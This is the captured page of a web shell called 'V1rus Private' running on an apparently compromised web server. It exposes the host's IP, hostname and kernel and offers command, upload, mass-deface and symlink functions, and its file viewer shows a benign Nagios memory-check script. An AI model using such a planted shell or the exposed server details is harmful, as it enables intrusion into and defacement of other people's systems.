V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
lib64
/
nagios
/
plugins
/
Viewing: check_a2_vps_memory.sh
#!/bin/bash # Ref - 8698p7p0e - custom check for A2 VPS with higher limit # MEMUSAGE=$(free | awk '/Mem/{printf("RAM Usage: %d\n"), $3/$2*100}'| awk '{print $3}') if [[ "${MEMUSAGE}" -ge 95 ]]; then echo "CRITICAL: Memory Usage at ${MEMUSAGE}%" exit 2 elif [[ "${MEMUSAGE}" -ge 85 ]]; then echo "WARNING: Memory Usage at ${MEMUSAGE}%" exit 1 else echo "OK: Memory Usage at ${MEMUSAGE}%" exit 0 fi
Coded With 💗 by
HanzOFC